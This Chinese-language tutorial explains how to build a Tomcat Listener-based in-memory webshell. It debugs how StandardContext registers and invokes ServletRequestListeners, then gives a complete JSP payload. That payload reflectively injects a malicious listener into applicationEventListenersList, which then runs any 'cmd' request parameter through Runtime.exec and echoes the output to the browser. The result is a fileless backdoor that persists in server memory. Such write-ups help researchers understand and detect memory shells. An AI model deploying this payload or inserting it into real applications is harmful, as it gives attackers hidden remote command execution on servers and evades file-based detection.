Tomcat-Listener内存马
这篇文章记录下学习 Listener 内存马学习到的东西,思路跟 Filter 型内存马差不多,找一个相对通用的 Listener ,这里用的是 ServletRequestListener
,所有的 servlet 请求都会经过这个 Listener,接下来写一个例子调试分析 Listener 的注册过程和调用过程,相对来说比较简单!
创建工程
IDEA 打开创建一个 web 工程,导入如下依赖
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.2</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.20</version>
<scope>compile</scope>
</dependency>
编写 Servlet 程序
@WebServlet("/listener")
public class TestListener extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("tomcat-listener!!");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
编写 Listener 程序
@WebListener
public class ServletListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
System.out.println("ServletListener#requestInitialized is invoked!");
}
}
因为调试涉及到 Tomcat 中间件包里的代码,所以需要把 Tomcat 下 lib 目录下的包都导入进来
启动 Tomcat 中间件,访问 /listener
这个 Servlet 会发现调用了 ServletListener#requestInitialized
方法
调试分析
既然访问任何 Servlet 都会调用 ServletListener#requestInitialized
方法,那么只需反射注入 ServletListener
监听器即可,为了理解编写的 payload,下面分析监听器的注册和调用,在 ServletListener
类上下断点调试启动 Tomcat 中间件
跟进到 StandardContext#listenerStart
方法,先获取监听器然后遍历监听器进行实例化
监听器从 findApplicationListeners
方法返回,跟进看一下返回的是 applicationListeners
属性,其中包含我们编写的 ServletListener
遍历并实例化完监听器之后把实例化对象加入到 eventListeners
中, 然后通过 setApplicationEventListeners
方法把 eventListeners
设置到 applicationEventListenersList
中
跟进一下 setApplicationEventListeners
方法,可以知道最终实例化出来的监听器被存储在 applicationEventListenersList
属性中
注册监听器就完成了,下面来看看是怎么调用注册的监听器的,在 requestInitialized
方法上下断点,调试启动 Tomcat 中间件
跟进到 StandardContext#fireRequestInitEvent
方法,通过 getApplicationEventListeners
方法获取到前面注册的监听器,然后循环遍历调用监听器的 requestInitialized
方法
构造内存马进行注入
通过上面的分析可以知道,最后遍历调用的是 StandardContext.applicationEventListenersList
属性,所以内存马构造中需要获取到 StandardContext
类,然后获取其 applicationEventListenersList
属性,最后注入我们构造的恶意监听器到 applicationEventListenersList
属性里,构造如下
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
class ServletListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
try {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
//获取到 Response 对象,用于命令回显输出
org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = (Response) request.getResponse();
//命令执行并通过 Response 对象进行输出结果到浏览器中
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i = inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
}
%>
<%
//获取到 StandardContext 对象的 applicationEventListenersList 属性,最后把恶意构造的监听器注入到 applicationEventListenersList 属性中
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Object[] applicationEventListeners = standardContext.getApplicationEventListeners();
List<Object> objects = Arrays.asList(applicationEventListeners);
ArrayList arrayList = new ArrayList(objects);
arrayList.add(new ServletListener());
standardContext.setApplicationEventListeners(arrayList.toArray());
response.getWriter().write("Inject Success by listener!");
%>